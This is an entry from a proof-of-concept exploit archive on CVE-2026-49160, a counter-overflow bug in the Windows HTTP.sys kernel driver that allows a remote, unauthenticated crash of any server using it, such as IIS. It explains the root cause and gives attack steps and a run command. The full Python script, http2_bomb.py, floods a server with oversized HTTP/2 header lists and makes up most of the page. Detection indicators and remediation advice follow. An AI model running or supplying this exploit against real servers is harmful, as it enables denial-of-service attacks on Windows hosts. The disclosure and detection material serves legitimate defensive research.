PoC Archive PoC Archive
High CVE-2026-49160 patched

Windows HTTP.sys Header-Count-Triggered Kernel Memory Corruption / BSOD (CVE-2026-49160)

by dhmosfunk · 2026-07-05

Severity
High
CVE
CVE-2026-49160
Category
binary
Affected product
Windows HTTP.sys kernel-mode driver (Windows 10 build 26100 confirmed in crash logs)
Affected versions
Windows builds using the vulnerable HTTP.sys UlpParseNextRequest/header-array-growth logic (observed: Windows 10 10.0.26100.1)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researcherdhmosfunk
CVE / AdvisoryCVE-2026-49160
Categorybinary
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagswindows, http.sys, kernel, http2, dos, bsod, memory-corruption, integer-overflow
RelatedCVE-2026-47291 (related HTTP.sys request-header buffer counter overflow, decompiled code referenced in the same source repo)

Affected Target

FieldValue
Software / SystemWindows HTTP.sys kernel-mode driver (Windows 10 build 26100 confirmed in crash logs)
Versions AffectedWindows builds using the vulnerable HTTP.sys UlpParseNextRequest/header-array-growth logic (observed: Windows 10 10.0.26100.1)
Language / PlatformWindows kernel-mode network stack (HTTP.sys driver); PoC client written in Python 3 using the h2 library
Authentication RequiredNo
Network Access RequiredYes

Summary

This PoC targets a memory-safety bug in the Windows HTTP.sys kernel driver’s request header parsing path (HTTP!UlpParseNextRequest / HTTP!UlpHandleRequest). The included http2_bomb.py script establishes a TLS/HTTP2 connection to a target IIS/HTTP.sys-backed server and sends a single stream containing a configurable number of extra custom request headers in addition to the four HTTP/2 pseudo-headers. The repository’s decompiled-code excerpt shows that HTTP.sys grows its internal header-pointer array by re-allocating and copying it each time capacity is exceeded, incrementing a 16-bit (unsigned short) size counter by 5 on each growth event. Because that counter is only 16 bits wide, sustained header/request traffic that repeatedly triggers the growth path can wrap the counter, leading to a buffer-size/pointer mismatch and an out-of-bounds write during a later memcpy. The included WinDbg logs (windbg_crash_logs.md) show the resulting kernel bugcheck (PAGE_FAULT_IN_NONPAGED_AREA, code 0x50) with the faulting write occurring in HTTP!memcpy, called from HTTP!UlpParseNextRequest — a full kernel crash (BSOD) triggered remotely and unauthenticated.


Vulnerability Details

Root Cause

Per the decompiled snippet in the repository, HTTP.sys’s header-array growth routine reallocates the header-pointer buffer via ExAllocatePool3/memmove when the current capacity (tracked in a 16-bit field, *(short *)(piVar16 + 400)) is exceeded, incrementing that field by 5 each time. Because the field is an unsigned short, sufficiently repeated growth events cause it to wrap around 16 bits, after which the code’s bounds assumptions about the header-pointer array no longer match its real allocated size — leading to an out-of-bounds write (observed as an invalid write via HTTP!memcpy) and a PAGE_FAULT_IN_NONPAGED_AREA bugcheck.

Attack Vector

  1. Establish a TLS connection to the target HTTP.sys-backed server and negotiate HTTP/2 (h2 ALPN).
  2. Send one (or repeatedly send) HTTP/2 request stream(s) containing a large number of additional custom request headers beyond the four pseudo-headers.
  3. Each time the server-side header buffer needs to grow to accommodate the headers, HTTP.sys’s internal 16-bit growth counter increments by 5.
  4. Sustained/repeated triggering (the repository notes running for roughly 30 minutes so the counter accumulates enough +5 increments) eventually wraps the 16-bit counter.
  5. The next header-buffer access uses a buffer whose real size no longer matches the wrapped counter’s expectations, causing an out-of-bounds write inside HTTP!memcpy during UlpParseNextRequest, crashing the kernel with bugcheck 0x50.

Impact

Remote, unauthenticated denial of service: any Windows host serving HTTP(S) via HTTP.sys (IIS and any other HTTP.sys-based service) can be crashed (BSOD) by a remote attacker with only network reachability to the HTTPS listener, requiring a reboot to recover.


Environment / Lab Setup

Target:   Windows 10 (build 26100 in the documented crash) with HTTP.sys-backed HTTPS listener (e.g. IIS), attached to a kernel debugger (WinDbg/KD) for crash analysis
Attacker: Python 3 with the `h2` library, network/TLS access to the target's HTTPS port

Proof of Concept

PoC Script

See http2_bomb.py and windbg_crash_logs.md in this folder.

1
python3 http2_bomb.py hello.lab --port 443 --headers 20 --insecure

The script connects to the target host, negotiates HTTP/2 over TLS, and sends a single GET request stream with the four required pseudo-headers plus --headers additional x-fooooooo-NNNN custom headers, then prints the response/stream-termination events. To reproduce the kernel crash documented in windbg_crash_logs.md, the request needs to be sent repeatedly (or with a large header count) against a debugger-attached target so the internal 16-bit header-buffer growth counter accumulates enough increments to wrap and corrupt kernel memory, ultimately bugchecking with PAGE_FAULT_IN_NONPAGED_AREA (0x50) in HTTP!memcpy / HTTP!UlpParseNextRequest.


Detection & Indicators of Compromise

Windows bugcheck 0x50 (PAGE_FAULT_IN_NONPAGED_AREA) with faulting module HTTP.sys, symbol HTTP!memcpy, call stack containing HTTP!UlpParseNextRequest / HTTP!UlpHandleRequest / HTTP!UlpThreadPoolWorker
Sustained inbound HTTP/2 (or HTTP/1.1) connections carrying an unusually large number of custom request headers per stream/request to the same host over an extended period

Signs of compromise:

  • Unexpected server reboots / BSODs on Windows hosts running IIS or other HTTP.sys-based services
  • Crash dumps identifying HTTP.sys as the faulting driver with bucket ID AV_VRF_HTTP!memcpy
  • Network logs showing repeated requests with abnormally high header counts per connection/stream from a single source

Remediation

ActionDetail
Primary fixApply the Microsoft security update addressing CVE-2026-49160 for HTTP.sys once available/installed; monitor Microsoft’s advisory for the patched build
Interim mitigationLimit maximum request header count/size at a front-end reverse proxy or load balancer before traffic reaches HTTP.sys; monitor for and rate-limit connections sending abnormal numbers of headers; restrict direct internet exposure of HTTP.sys-backed services where feasible

References


Notes

Mirrored from https://github.com/dhmosfunk/CVE-2026-49160-HTTP.sys on 2026-07-05. Demonstration videos referenced in the upstream repository’s Releases page were not mirrored (external/large media, not required to reproduce the PoC).

http2_bomb.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
#!/usr/bin/env python3

import argparse
import socket
import ssl
import sys

import h2.connection
import h2.config
import h2.events


def make_authority(host: str, port: int) -> str:
    if port == 443:
        return host
    return f"{host}:{port}"


def run_probe(
    host: str,
    port: int,
    path: str,
    regular_header_count: int,
    insecure: bool,
) -> None:
    context = ssl.create_default_context()
    context.set_alpn_protocols(["h2"])

    if insecure:
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE

    configuration = h2.config.H2Configuration(
        client_side=True,
        header_encoding="utf-8",
    )
    connection = h2.connection.H2Connection(config=configuration)

    with socket.create_connection((host, port), timeout=5) as tcp_socket:
        with context.wrap_socket(
            tcp_socket,
            server_hostname=host,
        ) as tls_socket:
            negotiated_protocol = tls_socket.selected_alpn_protocol()

            if negotiated_protocol != "h2":
                raise RuntimeError(
                    f"The server negotiated {negotiated_protocol!r}, "
                    "not HTTP/2 ('h2')."
                )

            print(f"[+] Negotiated ALPN protocol: {negotiated_protocol}")

            connection.initiate_connection()
            tls_socket.sendall(connection.data_to_send())

            stream_id = connection.get_next_available_stream_id()

            request_headers = [
                (":method", "GET"),
                (":scheme", "https"),
                (":authority", make_authority(host, port)),
                (":path", path),
            ]
            request_headers.extend(
                (f"x-fooooooo-{index:04d}", "a")
                for index in range(regular_header_count)
            )

            print(
                f"[+] Sending one stream with "
                f"{regular_header_count} regular headers and "
                f"4 pseudo-headers"
            )

            connection.send_headers(
                stream_id=stream_id,
                headers=request_headers,
                end_stream=True,
            )
            tls_socket.sendall(connection.data_to_send())

            tls_socket.settimeout(5)

            stream_finished = False

            while not stream_finished:
                try:
                    received = tls_socket.recv(65535)
                except socket.timeout:
                    print("[-] Timed out waiting for a response.")
                    break

                if not received:
                    print("[-] The peer closed the TLS connection.")
                    break

                events = connection.receive_data(received)

                for event in events:
                    if isinstance(event, h2.events.ResponseReceived):
                        print("[+] Response headers:")
                        for name, value in event.headers:
                            print(f"    {name}: {value}")

                    elif isinstance(event, h2.events.DataReceived):
                        print(
                            f"[+] Received {len(event.data)} response bytes"
                        )
                        connection.acknowledge_received_data(
                            event.flow_controlled_length,
                            event.stream_id,
                        )

                    elif isinstance(event, h2.events.StreamEnded):
                        print(f"[+] Stream {event.stream_id} ended normally.")
                        stream_finished = True

                    elif isinstance(event, h2.events.StreamReset):
                        print(
                            f"[+] Stream {event.stream_id} was reset; "
                            f"error code={event.error_code}"
                        )
                        stream_finished = True

                    elif isinstance(event, h2.events.ConnectionTerminated):
                        print(
                            "[+] HTTP/2 connection terminated; "
                            f"error code={event.error_code}, "
                            f"last stream={event.last_stream_id}"
                        )
                        stream_finished = True

                pending_data = connection.data_to_send()
                if pending_data:
                    tls_socket.sendall(pending_data)


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Send one bounded HTTP/2 header-count probe."
    )
    parser.add_argument("host", help="Laboratory HTTP/2 server hostname or IP")
    parser.add_argument("--port", type=int, default=443)
    parser.add_argument("--path", default="/")
    parser.add_argument(
        "--headers",
        type=int,
        default=20,
        help="Number of regular test headers.",
    )
    parser.add_argument(
        "--insecure",
        action="store_true",
        help="Disable certificate verification for a self-signed lab server",
    )

    args = parser.parse_args()

    try:
        run_probe(
            host=args.host,
            port=args.port,
            path=args.path,
            regular_header_count=args.headers,
            insecure=args.insecure,
        )
    except (OSError, ssl.SSLError, RuntimeError, ValueError) as exc:
        print(f"[!] Error: {exc}", file=sys.stderr)
        return 1

    return 0


if __name__ == "__main__":
    raise SystemExit(main())